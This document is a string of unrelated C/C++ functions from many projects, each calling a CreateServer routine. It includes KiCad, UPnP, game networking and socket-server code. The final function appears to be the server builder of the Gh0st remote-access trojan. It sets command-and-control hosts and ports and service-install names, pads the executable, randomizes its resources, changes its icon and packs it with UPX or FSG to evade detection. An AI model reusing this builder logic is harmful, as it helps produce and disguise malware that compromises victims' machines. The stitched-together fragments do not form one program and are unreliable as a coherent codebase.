//Create Server Socket, convert ASCII address representation into binary one bool SocketHandler::CreateServer( int portT, string bind_addrT ) { if ( bind_addrT == "" ) { return CreateServer( portT, INADDR_ANY ); } else { return CreateServer( portT, inet_addr( Params::GetConfigString("BIND_ADDRESS").c_str() ) ); } }
int main(int argc, char *argv[]) { int server_socket = -1; int server_port = 0; if(argc == 2) server_port = atoi(argv[1]); //init server socket server_socket = CreateServer(server_port); printf("The Server Bind Ports: %d\n",server_port); int client_socket = -1; struct sockaddr_in client_info; socklen_t client_info_len = sizeof(client_info); ChangeRoot(); //get client accept while((client_socket = accept(server_socket,(sockaddr*)&client_info,&client_info_len)) != -1) { if(client_socket == -1) Error("Accept Failed\n"); pthread_t thread_id; if(pthread_create(&thread_id,NULL,StarServer,(void*) &client_socket) != 0) Error("Thread Create Failed\n"); } printf("Http Server End\n"); close(server_port); }
int main(int argc, char* argv[]) { // exactly two parameters should be passed if (argc != 3) { std::cerr << "Usage: " << argv[0] << " {query number} {full path to the file with query}" << std::endl; return -1; } // query id and object representing query itself int query_id = atoi(argv[1]); Operation query; // parse the protocol-buffer binary file and create query object int file = open(argv[2], O_RDONLY); google::protobuf::io::FileInputStream input(file); google::protobuf::TextFormat::Parse(&input, &query); // create server which will serve the data Server *server = CreateServer(query_id); // execute query OperationExecuter executer(query, server); executer.executeToServer(); // delete server - this stops the timer // and triggers correctness check delete server; return 0; }
/* ==================== TFile_InitServer ==================== */ t_bool TFile_InitServer( const t_int port ) { if ( server_initialized ) { T_FatalError( "TFile_InitServer: Server is already initialized" ); } server_pipe = T_CreatePipe(); if ( !CreateServer( AF_INET, port, &server_socket ) || !CreateServer( AF_INET6, port, &server_socket6 ) ) { TFile_CleanupFailedSocket( NULL, server_socket, NULL ); // Clean up IPv4 socket in case only the IPv6 socket failed. T_Error( "TFile_InitServer: Unable to initialize server.\n" ); return t_false; } server_initialized = t_true; T_Print( "File server initialized.\n" ); return t_true; }
// Create a server with the specified host. IServer *ModuleManager::CreateServerInstance(onModule *Module, const char *Hostname) { IServer *(*CreateServer)(const char *); // This should not happen, but checking incase it's modified in the future. if (Module->LoadedFromDisk ? Module->ModuleHandle.Disk == NULL : Module->ModuleHandle.Memory == NULL) { fDebugPrint("%s: Tried to call an invalid handle.", __func__); return nullptr; } // Load from memory or EAT. if (Module->LoadedFromDisk) { std::string TempName = Module->Filename; TempName.append(".dll"); CreateServer = (IServer *(*)(const char *))DebugGetProcAddress(TempName.c_str(), "CreateServer"); } else CreateServer = (IServer *(*)(const char *))MemoryGetProcAddress(Module->ModuleHandle.Memory, "CreateServer"); // The developer of the modue forgot to export the function. if (!CreateServer) { fDebugPrint("%s: Module did not export \"CreateServer\"", __func__); return nullptr; } // Let this string be free, the module can clean it up. static char *FloatingString; FloatingString = new char[strlen(Hostname) + 1](); memcpy(FloatingString, Hostname, strlen(Hostname)); return CreateServer(FloatingString); };
HRESULT ZFXWS::Init( HWND hWnd, ZFXNETMODE nmd, int nPort, char *pIP, UINT nMaxPktSize, bool bSaveLog ) { WSADATA wsaData; UINT nEvents = 0; WORD wVersion; int nRes; m_nMaxSize = nMaxPktSize; m_Event = WSACreateEvent(); m_Buffer = new char[m_nMaxSize]; m_hWndMain = hWnd; m_nPort = nPort; m_Mode = nmd; if ( pIP ) { sprintf_s(m_pIP, "%s", pIP); } wVersion = MAKEWORD(2,0); if ( ( nRes = WSAStartup( wVersion, &wsaData ) ) != 0 ) { return ZFX_FAIL; } //create master socket object and start it listening if ( m_Mode == NMD_SERVER ) { if ( FAILED( CreateServer( &m_pSockObj ) ) ) { return ZFX_FAIL; } } else if ( m_Mode == NMD_CLIENT ) { if ( strcmp( m_pIP, "" ) == 0 ) { sprintf_s(m_pIP, "LOCALHOST"); } if ( FAILED( CreateClient( &m_pSockObj ) ) ) { return ZFX_FAIL; } } else { return ZFX_INVALIDPARAM; } m_bRunning = true; return ZFX_OK; }
/*---------------------------------------------------------------------- | CUPnP::StartServer +---------------------------------------------------------------------*/ void CUPnP::StartServer() { if (!m_ServerHolder->m_Device.IsNull()) return; // load upnpserver.xml so that g_settings.m_vecUPnPMusiCMediaSources, etc.. are loaded CStdString filename; URIUtils::AddFileToFolder(g_settings.GetUserDataFolder(), "upnpserver.xml", filename); g_settings.LoadUPnPXml(filename); // create the server with a XBox compatible friendlyname and UUID from upnpserver.xml if found m_ServerHolder->m_Device = CreateServer(g_settings.m_UPnPPortServer); // start server NPT_Result res = m_UPnP->AddDevice(m_ServerHolder->m_Device); if (NPT_FAILED(res)) { // if the upnp device port was not 0, it could have failed because // of port being in used, so restart with a random port if (g_settings.m_UPnPPortServer > 0) m_ServerHolder->m_Device = CreateServer(0); res = m_UPnP->AddDevice(m_ServerHolder->m_Device); } // save port but don't overwrite saved settings if port was random if (NPT_SUCCEEDED(res)) { if (g_settings.m_UPnPPortServer == 0) { g_settings.m_UPnPPortServer = m_ServerHolder->m_Device->GetPort(); } CUPnPServer::m_MaxReturnedItems = UPNP_DEFAULT_MAX_RETURNED_ITEMS; if (g_settings.m_UPnPMaxReturnedItems > 0) { // must be > UPNP_DEFAULT_MIN_RETURNED_ITEMS CUPnPServer::m_MaxReturnedItems = max(UPNP_DEFAULT_MIN_RETURNED_ITEMS, g_settings.m_UPnPMaxReturnedItems); } g_settings.m_UPnPMaxReturnedItems = CUPnPServer::m_MaxReturnedItems; } // save UUID g_settings.m_UPnPUUIDServer = m_ServerHolder->m_Device->GetUUID(); g_settings.SaveUPnPXml(filename); }
/*---------------------------------------------------------------------- | CUPnP::StartServer +---------------------------------------------------------------------*/ bool CUPnP::StartServer() { if (!m_ServerHolder->m_Device.IsNull()) return false; // load upnpserver.xml CStdString filename = URIUtils::AddFileToFolder(CProfilesManager::Get().GetUserDataFolder(), "upnpserver.xml"); CUPnPSettings::Get().Load(filename); // create the server with a XBox compatible friendlyname and UUID from upnpserver.xml if found m_ServerHolder->m_Device = CreateServer(CUPnPSettings::Get().GetServerPort()); // start server NPT_Result res = m_UPnP->AddDevice(m_ServerHolder->m_Device); if (NPT_FAILED(res)) { // if the upnp device port was not 0, it could have failed because // of port being in used, so restart with a random port if (CUPnPSettings::Get().GetServerPort() > 0) m_ServerHolder->m_Device = CreateServer(0); res = m_UPnP->AddDevice(m_ServerHolder->m_Device); } // save port but don't overwrite saved settings if port was random if (NPT_SUCCEEDED(res)) { if (CUPnPSettings::Get().GetServerPort() == 0) { CUPnPSettings::Get().SetServerPort(m_ServerHolder->m_Device->GetPort()); } CUPnPServer::m_MaxReturnedItems = UPNP_DEFAULT_MAX_RETURNED_ITEMS; if (CUPnPSettings::Get().GetMaximumReturnedItems() > 0) { // must be > UPNP_DEFAULT_MIN_RETURNED_ITEMS CUPnPServer::m_MaxReturnedItems = max(UPNP_DEFAULT_MIN_RETURNED_ITEMS, CUPnPSettings::Get().GetMaximumReturnedItems()); } CUPnPSettings::Get().SetMaximumReturnedItems(CUPnPServer::m_MaxReturnedItems); } // save UUID CUPnPSettings::Get().SetServerUUID(m_ServerHolder->m_Device->GetUUID().GetChars()); return CUPnPSettings::Get().Save(filename); }
void CFlyGameAVServerDoc::OnCreateServer() { // TODO: Add your command handler code here // TODO: Add your command handler code here if (!g_ServerIsStart) { CreateServer(); PrintTextMsg("CreateServer()!!"); g_ServerIsStart = true; } else { PrintTextMsg("CreateServer()!!"); } }
wxWindow* CreateWindow( wxWindow* aParent, int aClassId, KIWAY* aKiway, int aCtlBits = 0 ) { switch( aClassId ) { case FRAME_SCH: { SCH_EDIT_FRAME* frame = new SCH_EDIT_FRAME( aKiway, aParent ); if( Kiface().IsSingle() ) { // only run this under single_top, not under a project manager. CreateServer( frame, KICAD_SCH_PORT_SERVICE_NUMBER ); } return frame; } break; case FRAME_SCH_LIB_EDITOR: { LIB_EDIT_FRAME* frame = new LIB_EDIT_FRAME( aKiway, aParent ); return frame; } break; #ifdef KICAD_SPICE case FRAME_SIMULATOR: { SIM_PLOT_FRAME* frame = new SIM_PLOT_FRAME( aKiway, aParent ); return frame; } break; #endif /* KICAD_SPICE */ case FRAME_SCH_VIEWER: case FRAME_SCH_VIEWER_MODAL: { LIB_VIEW_FRAME* frame = new LIB_VIEW_FRAME( aKiway, aParent, FRAME_T( aClassId ) ); return frame; } break; default: return NULL; } }
VSCore::VSCore(uint32_t version) : m_Refs(0), m_Version(version), m_ConfigFile(nullptr) { #if defined(VOODOO_DEBUG_MEMORY) _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF); _CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_DEBUG | _CRTDBG_MODE_FILE); _CrtSetReportFile(_CRT_WARN, _CRTDBG_FILE_STDERR); _CrtSetReportMode(_CRT_ERROR, _CRTDBG_MODE_DEBUG | _CRTDBG_MODE_FILE); _CrtSetReportFile(_CRT_ERROR, _CRTDBG_FILE_STDERR); #endif // Set up the internal objects m_Logger = CreateLogger(); m_Parser = CreateParser(); m_Server = CreateServer(); AddThisToDebugCache(); };
wxWindow* CreateWindow( wxWindow* aParent, int aClassId, KIWAY* aKiway, int aCtlBits = 0 ) { wxWindow* frame = NULL; switch( aClassId ) { case FRAME_PCB: frame = dynamic_cast< wxWindow* >( new PCB_EDIT_FRAME( aKiway, aParent ) ); #if defined( KICAD_SCRIPTING ) // give the scripting helpers access to our frame ScriptingSetPcbEditFrame( (PCB_EDIT_FRAME*) frame ); #endif if( Kiface().IsSingle() ) { // only run this under single_top, not under a project manager. CreateServer( frame, KICAD_PCB_PORT_SERVICE_NUMBER ); } break; case FRAME_PCB_MODULE_EDITOR: frame = dynamic_cast< wxWindow* >( new FOOTPRINT_EDIT_FRAME( aKiway, aParent ) ); break; case FRAME_PCB_MODULE_VIEWER: case FRAME_PCB_MODULE_VIEWER_MODAL: frame = dynamic_cast< wxWindow* >( new FOOTPRINT_VIEWER_FRAME( aKiway, aParent, FRAME_T( aClassId ) ) ); break; case FRAME_PCB_FOOTPRINT_WIZARD_MODAL: frame = dynamic_cast< wxWindow* >( new FOOTPRINT_WIZARD_FRAME( aKiway, aParent, FRAME_T( aClassId ) ) ); break; default: break; } return frame; }
BOOL InitCommServer( SOCK *srv, unsigned short portNr ) { BOOL ret; if( srv && InitIP() && CreateServer( srv, portNr, TRUE ) ){ QTils_LogMsgEx( "Server socket opened on port %hu", portNr ); if( !SendMutex ){ SendMutex = new CritSectEx(4000); } if( !ReceiveMutex ){ ReceiveMutex = new CritSectEx(4000); } ret = TRUE; } else{ QTils_LogMsgEx( "Failure opening server socket on port %hu (err=%d \"%s\")", portNr, errSock, errSockText(errSock) ); ret = FALSE; } return ret; }
BOOL CxServerSocketTCP::CreateSocketServer() { if ( !CreateServer( &m_ThreadContext ) ) { XTRACE( _T("CONNECT ERROR\r\n") ); return FALSE; } m_ThreadContext.hNetEvent[1] = WSACreateEvent(); if ( WSAEventSelect( m_ThreadContext.hSocket, m_ThreadContext.hNetEvent[1], FD_READ|FD_CLOSE|FD_ACCEPT ) == SOCKET_ERROR ) { XTRACE( _T("WSAEventSelect() error\r\n") ); return FALSE; } XTRACE( _T("Create Socket Server: OK!\r\n") ); return TRUE; }
/** * @brief survivalsquare::survivalsquare * @param parent */ survivalsquare::survivalsquare(QWidget *parent) : QMainWindow(parent), ui(new Ui::survivalsquare) { ui->setupUi(this); connect(ui->actionChat_en_ligne, SIGNAL(triggered()), this, SLOT(Chat())); connect(ui->actionFacile, SIGNAL(triggered()), this, SLOT(Facil())); connect(ui->actionNormal, SIGNAL(triggered()), this, SLOT(Moyen())); connect(ui->actionDifficile, SIGNAL(triggered()), this, SLOT(Difficil())); connect(ui->actionServeur, SIGNAL(triggered()), this, SLOT(CreateServer())); ui->actionArret->setEnabled(false); QObject::connect(ui->actionArret,SIGNAL(triggered()),this,SLOT(quitter()) ); regles = new Regles(); setCentralWidget(regles); //Insérer le texte de première page. }
static bool CreateServers(WebServer webServer, char* port) { struct addrinfo *result; struct addrinfo hints; Server* servers = malloc(5); uint16_t numberOfServers = 0; uint16_t numberOfServerSlots = 5; int error = 0; memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; error = getaddrinfo(NULL, port, &hints, &result); if (error != 0) { free(servers); printf("Error: %s", gai_strerror(error)); return false; } for (struct addrinfo* serverInfo = result; serverInfo != NULL; serverInfo = serverInfo->ai_next) { Server server = CreateServer(webServer, serverInfo); if (server) { if (numberOfServers >= numberOfServerSlots) { numberOfServerSlots *= 2; servers = realloc(servers, numberOfServerSlots); } servers[numberOfServers] = server; numberOfServers++; } } freeaddrinfo(result); webServer->servers = servers; webServer->numberOfServers = numberOfServers; return true; }
void InitializeSimulation() { adminPortOffset = 0; serverList = NewList(LIST_SERVER); // Create Servers int numServers = GenerateRandomNumber(10,32); int nameLength = GenerateRandomNumber(34, 64); for (int i=0; i<numServers; i++) { serverInfo *server = CreateServer(nameLength - i); AddToList(serverList, server, LIST_SERVER); // Create and link instances to servers int numInstances = GenerateRandomNumber(1, 15); int instanceLength = GenerateRandomNumber(32, 64); for(int j=0; j<numInstances; j++) { instanceInfo *instance = CreateInstance(instanceLength - j); AddInstanceToServer(server, instance); } } }
SOCKET MikanSocket::CreateBloadcastServer( unsigned short port, int connect ) { return CreateServer( port, connect, MIKAN_SOCKET_BROADCAST ); }
int _tmain(int argc, _TCHAR* argv[]) { // Create a NatNet server int iConnectionType = ConnectionType_Multicast; //int iConnectionType = ConnectionType_Unicast; int iResult = CreateServer(iConnectionType); if(iResult != ErrorCode_OK) { printf("Error initializing server. See log for details. Exiting"); return 1; } // Create a MarkerSet description BuildDescription(&descriptions); // OK! Ready to stream data. Listen for request from clients (RequestHandler()) printf("\n\nCommands:\nn\tnext frame\ns\tstream frames\nr\treset server\nq\tquit\n\r\tmulticast\nu\tunicast\n\n"); bool bExit = false; while(int c =_getch()) { switch(c) { case 'n': // next frame { sFrameOfMocapData frame; BuildFrame(g_lCurrentFrame++, &descriptions, &frame); SendFrame(&frame); FreeFrame(&frame); } break; case 'q': // quit bExit = true; break; case 's': // play continuously g_lCurrentFrame = 0; if(g_bPlaying) StopPlayingThread(); else StartPlayingThread(); break; case 'r': // reset server resetServer(); break; case 'm': // change to multicast iResult = CreateServer(ConnectionType_Multicast); if(iResult == ErrorCode_OK) printf("Server connection type changed to Multicast.\n\n"); else printf("Error changing server connection type to Multicast.\n\n"); break; case 'u': // change to unicast iResult = CreateServer(ConnectionType_Unicast); if(iResult == ErrorCode_OK) printf("Server connection type changed to Unicast.\n\n"); else printf("Error changing server connection type to Unicast.\n\n"); break; default: break; } if(bExit) { theServer->Uninitialize(); FreeDescription(&descriptions); break; } } return ErrorCode_OK; }
bool wxFBIPC::VerifySingleInstance( const wxString& file, bool switchTo ) { // Possible send a message to the running instance through this string later, for now it is left empty wxString expression = wxEmptyString; // Make path absolute wxFileName path( file ); if ( !path.IsOk() ) { wxLogError( wxT("This path is invalid: %s"), file.c_str() ); return false; } if ( !path.IsAbsolute() ) { if ( !path.MakeAbsolute() ) { wxLogError( wxT("Could not make path absolute: %s"), file.c_str() ); return false; } } // Check for single instance // Create lockfile/mutex name wxString name = wxString::Format( wxT("wxFormBuilder-%s-%s"), wxGetUserId().c_str(), path.GetFullPath().c_str() ); // Get forbidden characters wxString forbidden = wxFileName::GetForbiddenChars(); // Repace forbidded characters for ( size_t c = 0; c < forbidden.Length(); ++c ) { wxString bad( forbidden.GetChar( c ) ); name.Replace( bad.c_str(), wxT("_") ); } // Paths are not case sensitive in windows #ifdef __WXMSW__ name = name.MakeLower(); #endif // GetForbiddenChars is missing "/" in unix. Prepend '.' to make lockfiles hidden #ifndef __WXMSW__ name.Replace( wxT("/"), wxT("_") ); name.Prepend( wxT(".") ); #endif // Check to see if I already have a server with this name - if so, no need to make another! if ( m_server.get() ) { if ( m_server->m_name == name ) { return true; } } std::auto_ptr< wxSingleInstanceChecker > checker; { // Suspend logging, because error messages here are not useful #ifndef __WXFB_DEBUG__ wxLogNull stopLogging; #endif checker.reset( new wxSingleInstanceChecker( name ) ); } if ( !checker->IsAnotherRunning() ) { // This is the first instance of this project, so setup a server and save the single instance checker if ( CreateServer( name ) ) { m_checker = checker; return true; } else { return false; } } else if ( switchTo ) { // Suspend logging, because error messages here are not useful #ifndef __WXFB_DEBUG__ wxLogNull stopLogging; #endif // There is another app, so connect and send the expression // Cannot have a client and a server at the same time, due to the implementation of wxTCPServer and wxTCPClient, // so temporarily drop the server if there is one bool hadServer = false; wxString oldName; if ( m_server.get() != NULL ) { oldName = m_server->m_name; m_server.reset(); hadServer = true; } // Create the client std::auto_ptr< AppClient > client( new AppClient ); // Create the connection std::auto_ptr< wxConnectionBase > connection; #ifdef __WXMSW__ connection.reset( client->MakeConnection( wxT("localhost"), name, name ) ); #else bool connected = false; for ( int i = m_port; i < m_port + 20; ++i ) { #if wxVERSION_NUMBER < 2900 wxString nameWithPort = wxString::Format( wxT("%i%s"), i, name.c_str() ); connection.reset( client->MakeConnection( wxT("127.0.0.1"), nameWithPort, name ) ); #else wxString sPort = wxString::Format( "%i", i ); connection.reset( client->MakeConnection( "localhost", sPort, name ) ); #endif if ( NULL != connection.get() ) { connected = true; wxChar* pid = (wxChar*)connection->Request( wxT("PID"), NULL ); if ( NULL != pid ) { wxLogStatus( wxT("%s already open in process %s"), file.c_str(), pid ); } break; } } if ( !connected ) { wxLogError( wxT("There is a lockfile named '%s', but unable to make a connection to that instance."), name.c_str() ); } #endif // Drop the connection and client connection.reset(); client.reset(); // Create the server again, if necessary if ( hadServer ) { CreateServer( oldName ); } } return false; }
int main(int argc, char *argv[]) { TSocket srvSock, cliSock; /* server and client sockets */ struct TArgs *args; /* argument structure for thread */ pthread_t threads[NTHREADS]; int tid = 0; fd_set set; /* file description set */ int ret, i; char str[BUFSIZE]; if (argc == 1) { ExitWithError("Usage: server <local port>"); } /* Create a passive-mode listener endpoint */ srvSock = CreateServer(atoi(argv[1])); printf("Server read!\n"); /* Run forever */ for (;;) { /* Initialize the file descriptor set */ FD_ZERO(&set); /* Include stdin into the file descriptor set */ FD_SET(STDIN_FILENO, &set); /* Include srvSock into the file descriptor set */ FD_SET(srvSock, &set); /* Select returns 1 if input available, -1 if error */ ret = select (FD_SETSIZE, &set, NULL, NULL, NULL); if (ret<0) { WriteError("select() failed"); break; } /* Read from stdin */ if (FD_ISSET(STDIN_FILENO, &set)) { scanf("%99[^\n]%*c", str); if (strncmp(str, "FIM", 3) == 0) { close(srvSock); break; } } /* Read from srvSock */ if (FD_ISSET(srvSock, &set)) { if (tid == NTHREADS) { WriteError("number of threads is over"); break; } /* Spawn off separate thread for each client */ cliSock = AcceptConnection(srvSock); /* Create separate memory for client argument */ if ((args = (struct TArgs *) malloc(sizeof(struct TArgs))) == NULL) { WriteError("malloc() failed"); break; } args->cliSock = cliSock; /* Create a new thread to handle the client requests */ if (pthread_create(&threads[tid++], NULL, HandleRequest, (void *) args)) { WriteError("pthread_create() failed"); } } } printf("Server will wait for the active threads and terminate!\n"); /* Wait for all threads to terminate */ for(i=0; i<tid; i++) { pthread_join(threads[i], NULL); } return 0; }
int main (int argc, char * argv[]) { CreateServer(argc, argv, OTP_DEC_MAGIC, OTP_DEC_MAGIC); exit(0); }
bool WinEDA_App::OnInit(void) /****************************/ { wxString FFileName; EDA_Appl = this; InitEDA_Appl( wxT("pcbnew") ); if ( m_Checker && m_Checker->IsAnotherRunning() ) { if ( ! IsOK(NULL, _("Pcbnew is already running, Continue?") ) ) return false; } /* Add image handlers for screen hardcopy */ wxImage::AddHandler( new wxPNGHandler ); wxImage::AddHandler( new wxJPEGHandler ); ScreenPcb = new PCB_SCREEN(NULL, NULL, PCB_FRAME); GetSettings(); if(argc > 1) { FFileName = MakeFileName(wxEmptyString, argv[1], PcbExtBuffer); wxSetWorkingDirectory( wxPathOnly(FFileName) ); } Read_Config(FFileName); g_DrawBgColor = BLACK; /* allocation de la memoire pour le fichier et autres buffers: */ /* On reserve BUFMEMSIZE octets de ram pour calcul */ buf_work = adr_lowmem = (char*)MyZMalloc(BUFMEMSIZE) ; /* adresse de la zone de calcul */ adr_himem = adr_lowmem + BUFMEMSIZE; /* adr limite haute */ adr_max = adr_lowmem; if( adr_lowmem == NULL ) { printf( "No Memory, Fatal err Memory alloc\n" ); return(FALSE) ; } m_PcbFrame = new WinEDA_PcbFrame(NULL, this, wxT("PcbNew"), wxPoint(0,0), wxSize(600,400) ); m_PcbFrame->SetTitle(Main_Title); ScreenPcb->SetParentFrame(m_PcbFrame); ActiveScreen = ScreenPcb; m_PcbFrame->m_Pcb = new BOARD(NULL, m_PcbFrame); SetTopWindow(m_PcbFrame); m_PcbFrame->Show(TRUE); if( CreateServer(m_PcbFrame, KICAD_PCB_PORT_SERVICE_NUMBER) ) { SetupServerFunction(RemoteCommand); } m_PcbFrame->Zoom_Automatique(TRUE); /* Load file specified in the command line. */ if ( ! FFileName.IsEmpty() ) { wxClientDC dc(m_PcbFrame->DrawPanel); m_PcbFrame->DrawPanel->PrepareGraphicContext(&dc); m_PcbFrame->LoadOnePcbFile(FFileName, &dc, FALSE); } return TRUE; }
bool EDA_APP::OnInit() { wxFileName filename; SCH_EDIT_FRAME* frame = NULL; bool fileReady = false; InitEDA_Appl( wxT( "Eeschema" ), APP_EESCHEMA_T ); if( argc > 1 ) filename = argv[1]; if( filename.IsOk() ) { if( filename.GetExt() != SchematicFileExtension ) filename.SetExt( SchematicFileExtension ); if( !wxGetApp().LockFile( filename.GetFullPath() ) ) { DisplayError( NULL, _( "This file is already open." ) ); return false; } fileReady = true; } if( m_Checker && m_Checker->IsAnotherRunning() ) { if( !IsOK( NULL, _( "Eeschema is already running, Continue?" ) ) ) return false; } // Give a default colour for all layers // (actual color will be initialized by config) for( int ii = 0; ii < NB_SCH_LAYERS; ii++ ) SetLayerColor( DARKGRAY, ii ); // read current setup and reopen last directory if no filename to open in // command line bool reopenLastUsedDirectory = argc == 1; GetSettings( reopenLastUsedDirectory ); /* Must be called before creating the main frame in order to * display the real hotkeys in menus or tool tips */ ReadHotkeyConfig( wxT("SchematicFrame"), s_Eeschema_Hokeys_Descr ); // Create main frame (schematic frame) : frame = new SCH_EDIT_FRAME( NULL, wxT( "Eeschema" ), wxPoint( 0, 0 ), wxSize( 600, 400 ) ); SetTopWindow( frame ); frame->Show( true ); CreateServer( frame, KICAD_SCH_PORT_SERVICE_NUMBER ); frame->Zoom_Automatique( true ); // Load file specified in the command line: if( fileReady ) { if( !filename.GetPath().IsEmpty() ) // wxSetWorkingDirectory does not like empty paths wxSetWorkingDirectory( filename.GetPath() ); if( frame->LoadOneEEProject( filename.GetFullName(), false ) ) frame->GetCanvas()->Refresh( true ); } else { // Read a default config file if no file to load. frame->LoadProjectFile( wxEmptyString, true ); frame->GetCanvas()->Refresh( true ); } return true; }
/** * Initialize WInSock first, then the appropriate socketobjects. * -> IN: HWND - handle to application main window * ACNETMODE - put NMD_CLIENT or NMD_SERVER here * int - number of port to use * char - ip address needed for client construction * UINT - maximum size of one package * UINT - maximum number of clients for one server * bool - flush log at each write operation */ HRESULT ACWinSock::Init(HWND hWnd, NetModeType nmd, int nPort, const char *pIP, UINT nMaxPkgSize, UINT nMaxClients, BOOL log) { if (log) mpLOG = fopen("NetworkLOG.txt", "w"); Log("Begin Network Init"); WSADATA wsaData; UINT nEvents=0; WORD wVersion; int nRes; mMaxSize = nMaxPkgSize; mBuffer = new char[mMaxSize+g_PkgSize]; mActiveWnd = hWnd; mPort = nPort; mMode = nmd; mClMax = nMaxClients; if (pIP) sprintf(mpIP, "%s", pIP); wVersion = MAKEWORD(2,0); // startup WinSock if ((nRes=WSAStartup(wVersion, &wsaData))!=0) { if (nRes==WSAEINPROGRESS) Log("[ERROR] blocking WinSock app is running"); else if (nRes==WSAVERNOTSUPPORTED) Log("[ERROR] WinSock version not supported"); else if (nRes==WSASYSNOTREADY) Log("[ERROR] network subsystem not ready"); else if (nRes==WSAEPROCLIM) Log("[ERROR] WinSock too buisy for another task"); return AC_FAIL; } Log("WinSock 2.0 initialized (NMD: %d)", mMode); // create SockectObject as server listening to port if (mMode==NetModeType::NMT_Server) { if (FAILED(CreateServer(&mpSockObj))) { Log("[ERROR] CreateServer(Port:%d) failed", mPort); return AC_FAIL; } } // create SocketObject as client sending data to IP::Port else if (mMode==NetModeType::NMT_Client) { if (strcmp(mpIP, "")==0) sprintf(mpIP, "LOCALHOST"); if (FAILED(CreateClient(&mpSockObj))) { Log("[ERROR] CreateClient(Port:%d to Server-IP:%s) failed", mPort, mpIP); return AC_FAIL; } } else return AC_INVALIDPARAM; Log("initialized (online and ready)"); IsRunning = true; return AC_OK; };
void CBuild::OnBuild() { // TODO: Add your control notification handler code here UpdateData(TRUE); // CFileDialog dlg(FALSE, "exe", "server.exe", OFN_OVERWRITEPROMPT,"可执行文件|*.exe", NULL); // if(dlg.DoModal () != IDOK) if(strHost.IsEmpty()||m_group.IsEmpty()||m_version.IsEmpty()) { MessageBox("DNS、分组、版本不能为空!"); return; } if(m_service_name.IsEmpty()||m_service_dis.IsEmpty()||m_service_des.IsEmpty()) { MessageBox("请将服务信息填写完整"); return; } ZeroMemory(&modify_data,sizeof(MODIFY_DATA)); modify_data.dwPortA =(WORD)m_port1; modify_data.dwPortB =(WORD)m_port2; modify_data.bRunOnce = bOnce; modify_data.bDelete = m_del; strcpy(modify_data.szDnsA,strHost.GetBuffer(0)); strcpy(modify_data.szDnsB,m_dns2.GetBuffer(0)); strcpy(modify_data.szVersion,m_version.GetBuffer(0)); strcpy(modify_data.szPross,m_process.GetBuffer(0)); strcpy(modify_data.szGroup,m_group.GetBuffer(0)); if (!modify_data.bRunOnce) { ZeroMemory(&service_data,sizeof(SERVICE_DATA)); strcpy(service_data.ws_svcname,m_service_name.GetBuffer(0)); strcpy(service_data.ws_svcdisplay,m_service_dis.GetBuffer(0)); strcpy(service_data.ws_svcdesc,m_service_des.GetBuffer(0)); } CopyFile(CClientApp::szDatPath,szFileName,FALSE); // CopyFile(TmpPath1,szFileName,FALSE); //写入配置信息 CreateServer(&service_data,&modify_data,szFileName); //增大体积 if(m_big) { DWORD dwTmp; HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); SetFilePointer( hFile, 0, NULL, FILE_END ); int i = 0; char * BigCode=new char[1024*1024]; while(i < 5) { WriteFile(hFile,BigCode,1024*1024, &dwTmp, NULL); i++; } delete[] BigCode; CloseHandle(hFile); } //随机资源 if(m_suiji) { Suiji(szFileName); } //生成图标 CString szIconPath; GetDlgItemText(IDC_ICO,szIconPath); if (szIconPath!="") { ChangeExeIcon(szIconPath,szFileName); } //压缩模式 switch(CompressType) { case 2: CompressUpx(); break; case 3: CompressFsg(); break; default: break; } ::MessageBox(NULL, _T("服务端Server.exe生成完毕!\n\n如果您修改了程序图标,若没找到Server.exe\n\n那可能保存在ICO图标文件夹内"), _T("Gh0st提示您"),MB_OK); // ::MessageBox(NULL, _T("服务端Server.exe生成完毕!"), _T("Gh0st提示您"),MB_OK); // char ShowText[200]; // wsprintf(ShowText,"%s%s","服务端已生成到:",dlg.GetPathName()); // MessageBox(ShowText,"提示",MB_ICONEXCLAMATION | MB_OK); //保存配置信息 if (m_save) { // ((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "DnsA", m_dns1); // ((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "DnsB", m_dns2); ((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "Group", m_group); ((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "Version", m_version); ((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "Process", m_process); ((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "ServiceName", m_service_name); ((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "ServiceDescription", m_service_des); ((CClientApp *)AfxGetApp())->m_IniFile.SetString("Build", "ServiceDisplayName", m_service_dis); ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "PortA", m_port1); ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "PortB", m_port2); ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "Big", m_big); ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "Delete", m_del); ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "Save", m_save); ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "Suiji", m_suiji); ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "Kill", m_kill); ((CClientApp *)AfxGetApp())->m_IniFile.SetInt("Build", "check_process", m_check_process); SetDlgItemText(IDC_STATIC_TIPS, "保存配置信息成功!"); } DeleteFile(TmpPath1); OnExit1(); }
